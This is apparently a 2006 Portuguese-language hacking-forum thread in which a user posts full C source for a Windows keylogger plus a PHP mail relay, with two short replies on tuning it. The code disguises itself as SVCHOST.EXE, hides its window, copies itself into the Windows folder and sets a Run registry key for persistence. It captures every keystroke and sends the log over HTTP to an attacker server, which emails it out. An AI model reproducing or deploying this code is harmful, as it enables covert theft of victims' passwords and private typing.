[Source] Keylogger - C

Started by Dark_Side, 10 de June , 2006, 11:42:04 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Dark_Side

Hi,
Este é um keylogger que eu desenvolvi meses atrás, os logs são enviados por email, via PHP.

keylogger.c
/*
*********************************
*KeyLogger codado por Dark Side.*
*********************************

Obs::

1) Prestem atencão nos comentários, para modificar os dados necessários
2) O programa pode ser detectado por algum Anti-Vírus com boa verificação heurística.
*/


//Bibliotecas
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winreg.h>
#include <winsock.h>

#pragma comment(lib, "wsock32.lib") //LIB do winsock

//Dados para envio do email
#define de "lol@lol.com.br"
#define para "seuemail@aqui.com.br"
#define assunto "LOG"
#define FORMMAIL "diretorio/formmail.php" //Troque pelos dados corretos.
#define ip "xxx.xxx.xxx.xxx" //IP do servidor

//Variáveis
int c,n,s,num,num2,caps,envia_tam=1000,strtam; //envia_tam = número mínimo de caracteres digitados para enviar email
void logar_normal(),logar_caps(),logar_shift(); //Funções
char teclas[99999],teclas_aux[99999],enviar[99999],caminho_copia[255];

HWND janela;
HKEY chave;

WSADATA data;
SOCKET winsock;
SOCKADDR_IN sock;
//Fim da declaração de variáveis

int main(int argc,char *argumento[]){ //Função principal, usaremos "argumento[0]" para capturar-mos o nome do arquivo do keylogger e o diretório onde este arquivo se encontra.
//Muda o título da janela e a oculta.
SetConsoleTitle("SVCHOST.EXE");
janela = FindWindow(NULL,"SVCHOST.EXE");
ShowWindow(janela,SW_HIDE);

sprintf(caminho_copia,"%s",argumento[0]); //Faz uma cópia do caminho do keylogger.

//Inicializa o WINSOCK, e caso ocorra algum erro, encerra o keylogger.
if(WSAStartup(MAKEWORD(1,1),&data)==SOCKET_ERROR)
exit(0);

if((winsock=socket(AF_INET,SOCK_STREAM,0))==SOCKET_ERROR)
exit(0); //Encerra o programa se a tentativa de criar um socket não teve sucesso.

//Cria uma entrada no registro, para que o keylogger inicie junto com o sistema operacional.
RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&chave);
RegSetValueEx(chave,"SVCHOST.EXE",0,1,(LPBYTE)"C:\\WINDOWS\\SVCHOST.EXE",22);
RegCloseKey(chave);

CopyFile(caminho_copia,"C:\\WINDOWS\\SVCHOST.EXE",0); //Copia o keylogger para C:\WINDOWS\SVCHOST.EXE, cujo programa é acionado ao iniciar do windows.

while(1){ //Loop

Sleep(1); //Pausa para o LOOP não travar.

strtam=strlen(teclas); //Captura o número dos carecteres digitados
if(strtam>=envia_tam) //Compara se o número é maior ou igual ao especificado em "envia_tam"
{
//Caso afirmativo:

//Prepara socket
sock.sin_family=AF_INET;
sock.sin_addr.S_un.S_addr = inet_addr(ip); //IP do servidor
sock.sin_port=htons(80);

/* A linha abaixo é muito importante.
Essa linha ao ser enviada para o servidor,
fará com que você receba o email com o log.
Preste muita atenção ao lidar com ela:
*/
sprintf(enviar,"GET /%s?de=%s¶=%s&assunto=%s&msg=%s HTTP/1.1\nHost:www.servidor.com.br\n\n",FORMMAIL,de,para,assunto,teclas);

if((winsock=socket(AF_INET,SOCK_STREAM,0))==SOCKET_ERROR) //Caso haja erro, interrompe o programa.
exit(0);

//Conecta ao servidor
if(connect(winsock,(sockaddr*)&sock,sizeof(sock))!=SOCKET_ERROR){

send(winsock,enviar,strlen(enviar),0); //Envia para o servidor uma requisição ao formmail para que este envie o log.

//Limpa as variáveis que armazenam as teclas digitadas.
sprintf(teclas,"");
sprintf(teclas_aux,"");

}
else{
exit(0); //Erro ao conectar, resulta na saída do programa.
}}

//Daqui em diante começa o código responsável pela obtençãp e gravação das teclas.


if(GetAsyncKeyState(0x8)==-32767){ //Tecla BackSpace, copia para uma variável auxiliar os caracteres digitados com 1 caractere a menos, e em seguida recopia o conteúdo para a variável principal.
if(strlen(teclas)>0)
strncpy(teclas_aux,teclas,strlen(teclas)-1);
strcpy(teclas,teclas_aux);
sprintf(teclas_aux,"%c",0);}

//Tecla Enter, adiciona na string: %0A, que é o caractere da tecla ENTER em modo escape, utilizando para o envio de email via PHP.
if(GetAsyncKeyState(0xD)==-32767){
strcat(teclas,"%0A");
}
//Verifica o pressionamento da tecla SHIFT e chama pela função adequada.
if(GetAsyncKeyState(0x10))
logar_shift();
//Tecla de espaço, novamente, %20 é o caractere escape da tecla SPACE.
if(GetAsyncKeyState(0x20)==-32767)
strcat(teclas,"%20");
//Verifica o CAPS LOCK
caps = GetKeyState(0x14);
switch(caps)
{
case 0:
logar_normal(); //Se caps lock estiver desligado
break;
case 1:
logar_caps(); //Se logado
}

for(num=48;num<=57;num++) //Loga números
if(GetAsyncKeyState(num)==-32767)
sprintf(teclas,"%s%c",teclas,num);

//Loga outros caracteres.
if(GetAsyncKeyState(106)==-32767)
sprintf(teclas,"%s*",teclas);

if(GetAsyncKeyState(107)==-32767)
sprintf(teclas,"%s+",teclas);

if(GetAsyncKeyState(109)==-32767)
sprintf(teclas,"%s-",teclas);

if(GetAsyncKeyState(110)==-32767)
sprintf(teclas,"%s.",teclas);

if(GetAsyncKeyState(111)==-32767)
sprintf(teclas,"%s/",teclas);

if(GetAsyncKeyState(186)==-32767)
sprintf(teclas,"%s;",teclas);

if(GetAsyncKeyState(187)==-32767)
sprintf(teclas,"%s=",teclas);

if(GetAsyncKeyState(188)==-32767)
sprintf(teclas,"%s,",teclas);

if(GetAsyncKeyState(189)==-32767)
sprintf(teclas,"%s-",teclas);

if(GetAsyncKeyState(190)==-32767)
sprintf(teclas,"%s.",teclas);

if(GetAsyncKeyState(191)==-32767)
sprintf(teclas,"%s/",teclas);

if(GetAsyncKeyState(192)==-32767)
sprintf(teclas,"%s`",teclas);

if(GetAsyncKeyState(219)==-32767)
sprintf(teclas,"%s[",teclas);

if(GetAsyncKeyState(220)==-32767)
sprintf(teclas,"%s%c",teclas,220);

if(GetAsyncKeyState(221)==-32767)
sprintf(teclas,"%s]",teclas);

if(GetAsyncKeyState(222)==-32767)
sprintf(teclas,"%s'",teclas);

//Loga teclado númerico. (0123...9 +*/-.)
for(num2=96;num2<=105;num2++)
if(GetAsyncKeyState(num2)==-32767)
sprintf(teclas,"%s%c",teclas,num2-48);

}
return 0;
}

//Loga quando SHIFT for pressionado.
void logar_shift()
{
for(s=48;s<=57;s++)
if(GetAsyncKeyState(s)==-32767)
switch(s)
{
//Loga símbolos, note que alguns símbolos só são aceitos se estiverem em modo escape.
case 48:
sprintf(teclas,"%s)",teclas);
break;
case 49:
sprintf(teclas,"%s!",teclas);
break;
case 50:
sprintf(teclas,"%s@",teclas);
break;
case 51:
sprintf(teclas,"%s%%23",teclas);
break;
case 52:
sprintf(teclas,"%s%%24",teclas);
break;
case 53:
sprintf(teclas,"%s%%25",teclas);
break;
case 54:
sprintf(teclas,"%s%%5E",teclas);
break;
case 55:
sprintf(teclas,"%s%%26",teclas);
break;
case 56:
sprintf(teclas,"%s*",teclas);
break;
case 57:
sprintf(teclas,"%s(",teclas);
break;

}
//Na mesma função do SHIFT, verifica se CAPSLOCK está ligado ou desligado
switch(caps)
{
case 0: //Se desligado,loga letras em maiúsculas.
for(s=65;s<=90;s++)
if(GetAsyncKeyState(s)==-32767)
sprintf(teclas,"%s%c",teclas,s);
break;

case 1: //Se ligado, loga letrs em minúsculas.
for(s=65;s<=90;s++)
if(GetAsyncKeyState(s)==-32767)
sprintf(teclas,"%s%c",teclas,s+32);
}
//Outros símbolos combinados com SHIFT.
if(GetAsyncKeyState(186)==-32767)
sprintf(teclas,"%s:",teclas);

if(GetAsyncKeyState(187)==-32767)
sprintf(teclas,"%s+",teclas);

if(GetAsyncKeyState(188)==-32767)
sprintf(teclas,"%s<",teclas);

if(GetAsyncKeyState(189)==-32767)
sprintf(teclas,"%s_",teclas);

if(GetAsyncKeyState(190)==-32767)
sprintf(teclas,"%s>",teclas);

if(GetAsyncKeyState(191)==-32767)
sprintf(teclas,"%s?",teclas);

if(GetAsyncKeyState(192)==-32767)
sprintf(teclas,"%s~",teclas);

if(GetAsyncKeyState(219)==-32767)
sprintf(teclas,"%s{",teclas);

if(GetAsyncKeyState(220)==-32767)
sprintf(teclas,"%s|",teclas);

if(GetAsyncKeyState(221)==-32767)
sprintf(teclas,"%s}",teclas);

if(GetAsyncKeyState(222)==-32767)
sprintf(teclas,"%s\"",teclas);


}
//Loga quando CAPSLOCK estiver ligado
void logar_caps()
{
for(c=65;c<=90;c++)
if(GetAsyncKeyState(c)==-32767)
sprintf(teclas,"%s%c",teclas,c);

}

void logar_normal() //Loga quando nem SHIFT nem CAPSLOCK estiverem sendo usados.
{
for(n=65;n<=90;n++)
if(GetAsyncKeyState(n)==-32767)
sprintf(teclas,"%s%c",teclas,n+32);

}

FORMMAIL.PHP
<?
$de = $_GET["de"]; //Pega o valor ?de=
$para = $_GET["para"]; //Pega o valor ?para=
$assunto = $_GET["assunto"]; //Pega o valor ?assunto=
$msg = $_GET["msg"]; //Pega o valor ?msg=
mail($para,$assunto,$msg,"From: $de"); //Envia email
?>

Bye.

Shady



Mundus Vult Decipi

rog

muito interessante

sera que um log de 1000 caracteros passa mesmo no query string ?

rog
realty.sys is corrupt :  reboot the universe (Y/N)

Shady

Caso nao passe e preciso diminiuir o timeout.


Mundus Vult Decipi